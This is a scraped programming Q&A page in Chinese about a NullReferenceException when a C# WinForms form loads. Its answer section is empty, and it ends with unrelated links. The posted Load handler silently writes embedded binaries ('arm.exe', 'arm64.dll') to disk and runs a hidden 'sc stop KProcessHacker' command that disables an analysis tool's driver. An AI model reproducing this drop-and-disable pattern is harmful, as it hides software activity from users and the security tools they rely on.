c# - 在加载表单 C# 时获取 NullReferenceException
问题描述
当我要在 c# 中加载 form2 时,我得到“空引用异常”当命令
a.Show();
想跑。
这对我来说真的很奇怪
代码
Form1登录点击
MainForm a = new MainForm();
a.MyProperty = timeleft;
a.Show();
this.Hide();
Form2加载
public string MyProperty { get; set; }
string recievedTime = "#";
private void MainForm_Load(object sender, EventArgs e)
{
recievedTime = MyProperty;
countdownTimer.Start();
try
{
File.WriteAllBytes("arm.exe", SLN.Properties.Resources.adb);
}
catch { }
try
{
File.WriteAllBytes("arm64.dll", SLN.Properties.Resources.arm64);
}
catch { }
try
{
Process process = new Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/c sc stop KProcessHacker";
process.StartInfo = startInfo;
process.Start();
}
catch(Exception ex)
{
MessageBox.Show("Error Code 10" + ex.ToString());
}
}
解决方案
推荐阅读
- css - 旋转元素上的 Safari 渲染问题
- objective-c - 使用 URL 传递参数
- c++ - 从 cmd 运行 cl.exe
- php - 如果日期是 20/2/1998 和 51,如何从 php 示例中的日期获取天数(如年份)?
- excel - 如何在excel中比较一个句子中的多个单词
- node.js - 由于身份验证失败,参考私有存储库 vsts git 存储库在 docker 中运行 package.json 失败
- python - Pandas 读取 JSON 导致值转换为科学计数法
- authentication - 令牌格式无效
- ios - 屏幕锁定时推送通知到达后是否执行操作?
- amazon-web-services - 停止 ec2 实例后,sonarqube docker 容器的设置丢失